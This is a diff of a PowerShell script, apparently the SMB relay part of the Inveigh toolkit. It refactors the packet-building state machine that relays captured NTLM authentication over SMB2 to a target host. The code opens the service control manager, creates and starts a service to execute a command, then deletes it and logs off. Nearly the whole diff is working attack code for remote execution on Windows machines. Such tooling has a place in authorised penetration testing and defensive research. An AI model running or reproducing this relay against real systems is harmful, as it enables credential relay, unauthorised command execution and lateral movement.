+                        elseif([System.BitConverter]::ToString($client_receive[128..131]) -eq '05-00-00-00')
                         {
                             
                             if($Attack -notcontains 'Session')
@@ -2994,8 +3013,8 @@ $SMB_relay_functions_scriptblock =
                                 $SMB_relay_failed = $true
                             }
 
-                            $inveigh.output_queue.Add("[!] $(Get-Date -format s) $HTTP_username_full does not have command execution privilege on $Target") > $null
-                            $SMB_service_manager_context_handle = $SMB_client_receive[108..127]
+                            $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_username_full does not have command execution privilege on $Target") > $null
+                            $SMB_service_manager_context_handle = $client_receive[108..127]
                             $SMB_close_service_handle_stage = 2
                             $message_ID++
                             $stage = 'CloseServiceHandle'
@@ -3006,10 +3025,73 @@ $SMB_relay_functions_scriptblock =
                         }
 
                     }
+
+                    'CloseRequest'
+                    {
+                        $message_ID++
+                        $stage_current = $stage
+                        $packet_SMB2_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID
+                        $packet_SMB2_data = New-PacketSMB2CloseRequest $SMB_file_ID
+                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
+                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
+                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
+                        $stage = 'SendReceive'
+                    }
+
+                    'CloseServiceHandle'
+                    {
+
+                        if($SMB_close_service_handle_stage -eq 1)
+                        {
+                            $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Service $SMB_service deleted on $Target") > $null
+                            $SMB_close_service_handle_stage++
+                            $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle
+                        }
+                        else
+                        {
+                            $stage = 'CloseRequest'
+                            $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle
+                        }
+
+                        $message_ID++
+                        $stage_current = $stage
+                        $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID
+                        $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
+                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00
+                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data 
+                        $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length)
+                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data 
+                        $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length
+                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
+                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
+                        $stage = 'SendReceive'
+                    }
+
+                    'CreateRequest'
+                    {
+                        $tree_ID = $client_receive[40..43]
+                        $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl
+                        $message_ID++
+                        $stage_current = $stage
+                        $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID
+                        $packet_SMB2_data = New-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes
+                        $packet_SMB2_data["Share_Access"] = 0x07,0x00,0x00,0x00  
+                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data  
+                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
+                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
+                        $stage = 'SendReceive'
+                    }
             
                     'CreateServiceW'
                     {
                         $message_ID++
+                        $stage_current = $stage
                         $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID
                         $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00
                         $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
@@ -3019,18 +3101,15 @@ $SMB_relay_functions_scriptblock =
                         $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $stage = 'ReadRequest'
-                        $stage_next = 'StartServiceW'  
+                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
+                        $stage = 'SendReceive'
                     }
 
                     'CreateServiceW_First'
                     {
                         $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index)
                         $message_ID++
+                        $stage_current = $stage
                         $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)]
                         $packet_RPC_data = New-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first
                         $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length)
@@ -3043,27 +3122,15 @@ $SMB_relay_functions_scriptblock =
                         $RPC_data_length = $SMB2_data.Length + $RPC_data.Length
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        
-                        if($SMB_split_stage_final -le 2)
-                        {
-                            $stage = 'CreateServiceW_Last'
-                        }
-                        else
-                        {
-                            $SMB_split_stage = 2
-                            $stage = 'CreateServiceW_Middle'
-                        }
-
+                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data
+                        $stage = 'SendReceive'
                     }
 
                     'CreateServiceW_Middle'
                     {
                         $SMB_split_stage++
                         $message_ID++
+                        $stage_current = $stage
                         $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)]
                         $SMB_split_index_tracker += $SMB_split_index
                         $packet_RPC_data = New-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle
@@ -3076,25 +3143,14 @@ $SMB_relay_functions_scriptblock =
                         $RPC_data_length = $SMB2_data.Length + $RPC_data.Length
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-
-                        if($SMB_split_stage -ge $SMB_split_stage_final)
-                        {
-                            $stage = 'CreateServiceW_Last'
-                        }
-                        else
-                        {
-                            $stage = 'CreateServiceW_Middle'
-                        }
-
+                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data
+                        $stage = 'SendReceive'
                     }
 
                     'CreateServiceW_Last'
                     {
                         $message_ID++
+                        $stage_current = $stage
                         $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length]
                         $packet_RPC_data = New-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last
                         $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
@@ -3105,66 +3161,24 @@ $SMB_relay_functions_scriptblock =
                         $RPC_data_length = $SMB2_data.Length + $RPC_data.Length
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $stage = 'ReadRequest'
-                        $stage_next = 'StartServiceW'
+                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data
+                        $stage = 'SendReceive'
                     }
 
-                    'StartServiceW'
-                    {
-
-                        if([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '00-00-00-00')
-                        {
-                            $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Service $SMB_service created on $Target") > $null
-                            $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Trying to execute command on $Target") > $null
-                            $SMB_service_context_handle = $SMB_client_receive[112..131]
-                            $message_ID++
-                            $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID
-                            $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle
-                            $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
-                            $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00
-                            $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data 
-                            $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length)
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                            $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data 
-                            $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length
-                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
-                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                            $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
-                            $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                            $SMB_client_stream.Flush()
-                            $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                            $stage = 'ReadRequest'
-                            $stage_next = 'DeleteServiceW'     
-                        }
-                        elseif([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '31-04-00-00')
-                        {
-                            $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Service $SMB_service creation failed on $Target") > $null
-                            $SMB_relay_failed = $true
-                        }
-                        else
-                        {
-                            $SMB_relay_failed = $true
-                        }
-
-                    }
-            
                     'DeleteServiceW'
                     { 
 
-                        if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '1d-04-00-00')
+                        if([System.BitConverter]::ToString($client_receive[108..111]) -eq '1d-04-00-00')
                         {
                             $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Command executed on $Target") > $null
                         }
-                        elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '02-00-00-00')
+                        elseif([System.BitConverter]::ToString($client_receive[108..111]) -eq '02-00-00-00')
                         {
                             $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Service $SMB_service failed to start on $Target") > $null
                         }
 
                         $message_ID++
+                        $stage_current = $stage
                         $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID
                         $packet_SCM_data = New-PacketSCMDeleteServiceW $SMB_service_context_handle
                         $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
@@ -3176,35 +3190,32 @@ $SMB_relay_functions_scriptblock =
                         $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $stage = 'ReadRequest'
-                        $stage_next = 'CloseServiceHandle'
-                        $SMB_close_service_handle_stage = 1
+                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
+                        $stage = 'SendReceive'
                     }
 
-                    'CloseServiceHandle'
+                    'Logoff'
                     {
+                        $message_ID++
+                        $stage_current = $stage
+                        $packet_SMB2_header = New-PacketSMB2Header 0x02,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID
+                        $packet_SMB2_data = New-PacketSMB2SessionLogoffRequest
+                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
+                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
+                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
+                        $stage = 'SendReceive'
+                    }
 
-                        if($SMB_close_service_handle_stage -eq 1)
-                        {
-                            $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Service $SMB_service deleted on $Target") > $null
-                            $message_ID++
-                            $SMB_close_service_handle_stage++
-                            $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle
-                        }
-                        else
-                        {
-                            $message_ID++ 
-                            $stage = 'CloseRequest'
-                            $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle
-                        }
-
+                    'OpenSCManagerW'
+                    {
+                        $message_ID++
+                        $stage_current = $stage
                         $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID
+                        $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length
                         $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00
+                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00
                         $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data 
                         $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length)
                         $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
@@ -3212,70 +3223,273 @@ $SMB_relay_functions_scriptblock =
                         $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
+                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
+                        $stage = 'SendReceive'         
                     }
 
-                    'CloseRequest'
+                    'ReadRequest'
                     {
+                        Start-Sleep -m 150
                         $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID
-                        $packet_SMB2_data = New-PacketSMB2CloseRequest $SMB_file_ID
+                        $stage_current = $stage
+                        $packet_SMB2_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID
+                        $packet_SMB2_data = New-PacketSMB2ReadRequest $SMB_file_ID
+                        $packet_SMB2_data["Length"] = 0xff,0x00,0x00,0x00
                         $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
+                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data 
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $stage = 'TreeDisconnect'
+                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data 
+                        $stage = 'SendReceive'
                     }
 
-                    'TreeDisconnect'
+                    'RPCBind'
                     {
+                        $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl
+                        $SMB_file_ID = $client_receive[132..147]
                         $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID
-                        $packet_SMB2_data = New-PacketSMB2TreeDisconnectRequest
+                        $stage_current = $stage
+                        $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID
+                        $packet_RPC_data = New-PacketRPCBind 0x48,0x00 1 0x01 0x00,0x00 $named_pipe_UUID 0x02,0x00
+                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data 
+                        $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length
                         $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
+                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data 
+                        $RPC_data_length = $SMB2_data.Length + $RPC_data.Length
+                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
+                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data
+                        $stage = 'SendReceive'
+                    }
 
-                        if($Attack -contains 'Session' -or $Attack -contains 'Execute')
+                    'SendReceive'
+                    {
+                        $client_stream.Write($client_send,0,$client_send.Length) > $null
+                        $client_stream.Flush()
+                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
+
+                        if(Get-StatusPending $client_receive[12..15])
                         {
-                            $inveigh.session_message_ID_table[$inveigh.session_count] = $message_ID
-                            $stage = 'Exit'
+                            $stage = 'StatusPending'
                         }
                         else
                         {
-                            $stage = 'Logoff'
+                            $stage = 'StatusReceived'
                         }
-                        
+
                     }
 
-                    'Logoff'
+                    'StartServiceW'
+                    {
+
+                        if([System.BitConverter]::ToString($client_receive[132..135]) -eq '00-00-00-00')
+                        {
+                            $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Service $SMB_service created on $Target") > $null
+                            $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Trying to execute command on $Target") > $null
+                            $SMB_service_context_handle = $client_receive[112..131]
+                            $message_ID++
+                            $stage_current = $stage
+                            $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID
+                            $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle
+                            $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
+                            $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00
+                            $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data 
+                            $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length)
+                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+                            $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data 
+                            $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length
+                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
+                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+                            $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
+                            $stage = 'SendReceive'   
+                        }
+                        elseif([System.BitConverter]::ToString($client_receive[132..135]) -eq '31-04-00-00')
+                        {
+                            $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Service $SMB_service creation failed on $Target") > $null
+                            $SMB_relay_failed = $true
+                        }
+                        else
+                        {
+                            $SMB_relay_failed = $true
+                        }
+
+                    }
+
+                    'StatusPending'
                     {
+                        $client_stream.Read($client_receive,0,$client_receive.Length)
+
+                        if([System.BitConverter]::ToString($client_receive[12..15]) -ne '03-01-00-00')
+                        {
+                            $stage = $stage_next
+                        }
+
+                    }
+
+                    'StatusReceived'
+                    {
+
+                        switch ($stage_current)
+                        {
+
+                            'CloseRequest'
+                            {
+                                $stage = 'TreeDisconnect'
+                            }
+
+                            'CloseServiceHandle'
+                            {
+
+                                if($SMB_close_service_handle_stage -eq 2)
+                                {
+                                    $stage = 'CloseServiceHandle'
+                                }
+                                else
+                                {
+                                    $stage = 'CloseRequest'
+                                }
+
+                            }
+
+                            'CreateRequest'
+                            {
+                                $file_ID = $client_receive[132..147]
+                                $stage = 'RPCBind'
+                            }
+
+                            'CreateServiceW'
+                            {
+                                $stage = 'ReadRequest'
+                                $stage_next = 'StartServiceW'
+                            }
+
+                            'CreateServiceW_First'
+                            {
+
+                                if($SMB_split_stage_final -le 2)
+                                {
+                                    $stage = 'CreateServiceW_Last'
+                                }
+                                else
+                                {
+                                    $SMB_split_stage = 2
+                                    $stage = 'CreateServiceW_Middle'
+                                }
+                                
+                            }
+
+                            'CreateServiceW_Middle'
+                            {
+
+                                if($SMB_split_stage -ge $SMB_split_stage_final)
+                                {
+                                    $stage = 'CreateServiceW_Last'
+                                }
+                                else
+                                {
+                                    $stage = 'CreateServiceW_Middle'
+                                }
+
+                            }
+
+                            'CreateServiceW_Last'
+                            {
+                                $stage = 'ReadRequest'
+                                $stage_next = 'StartServiceW'
+                            }
+
+                            'DeleteServiceW'
+                            {
+                                $stage = 'ReadRequest'
+                                $stage_next = 'CloseServiceHandle'
+                                $SMB_close_service_handle_stage = 1
+                            }
+
+                            'Logoff'
+                            {
+                                $stage = 'Exit'
+                            }
+
+                            'OpenSCManagerW'
+                            {
+                                $stage = 'ReadRequest'
+                                $stage_next = 'CheckAccess' 
+                            }
+
+                            'ReadRequest'
+                            {
+                                $stage = $stage_next
+                            }
+
+                            'RPCBind'
+                            {
+                                $stage = 'ReadRequest'
+                                $stage_next = 'OpenSCManagerW'
+                            }
+
+                            'StartServiceW'
+                            {
+                                $stage = 'ReadRequest'
+                                $stage_next = 'DeleteServiceW'  
+                            }
+
+                            'TreeConnect'
+                            {
+                                $tree_ID = $client_receive[40..43]
+                                $stage = 'CreateRequest'
+                            }
+
+                            'TreeDisconnect'
+                            {
+
+                                if($Attack -contains 'Session' -or $Attack -contains 'Execute')
+                                {
+                                    $inveigh.session_message_ID_table[$inveigh.session_count] = $message_ID
+                                    $stage = 'Exit'
+                                }
+                                else
+                                {
+                                    $stage = 'Logoff'
+                                }
+
+                            }
+
+                        }
+
+                    }
+
+                    'TreeConnect'
+                    {
+                        #$tree_ID = $client_receive[40..43]
+                        $tree_ID = 0x00,0x00,0x00,0x00
                         $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x02,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID
-                        $packet_SMB2_data = New-PacketSMB2SessionLogoffRequest
+                        $stage_current = $stage
+                        $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID
+                        $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $SMB_path_bytes
+                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data    
+                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
+                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
+                        $stage = 'SendReceive'
+                    }
+
+                    'TreeDisconnect'
+                    {
+                        $message_ID++
+                        $stage_current = $stage
+                        $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID
+                        $packet_SMB2_data = New-PacketSMB2TreeDisconnectRequest
                         $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
                         $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $stage = 'Exit'
+                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
+                        $stage = 'SendReceive'                        
                     }
 
+                   
+
                 }
 
                 if($SMB_relay_failed -and $Attack -notcontains 'Session')
@@ -3301,26 +3515,14 @@ $SMB_relay_functions_scriptblock =
         }
         else
         {
-            $SMB_client.Close()
+            $client.Close()
         }
             
     }
 
-    function SMBRelayEnum
+    function Invoke-SMBRelayEnum
     {
-        param ($SMB_client,$SMB_user_ID,$session_ID,$process_ID,$Enumerate,$EnumerateGroup)
-
-        function Get-StatusPending
-        {
-            param ([Byte[]]$Status)
-
-            if([System.BitConverter]::ToString($Status) -eq '03-01-00-00')
-            {
-                $status_pending = $true
-            }
-
-            return $status_pending
-        }
+        param ($client,$SMB_user_ID,$session_ID,$process_ID,$Enumerate,$EnumerateGroup)
 
         $client_receive = New-Object System.Byte[] 81920
         $SMB_signing = $false
@@ -3342,7 +3544,7 @@ $SMB_relay_functions_scriptblock =
         $path_bytes = [System.Text.Encoding]::Unicode.GetBytes($path)
         $j = 0
         $stage = 'TreeConnect'
-        $client_stream = $SMB_client.GetStream()
+        $client_stream = $client.GetStream()
 
         while ($stage -ne 'Exit')
         {
@@ -3364,20 +3566,7 @@ $SMB_relay_functions_scriptblock =
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
                         $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-                        
+                        $stage = 'SendReceive'
                     }
 
                     'Connect2'
@@ -3396,20 +3585,7 @@ $SMB_relay_functions_scriptblock =
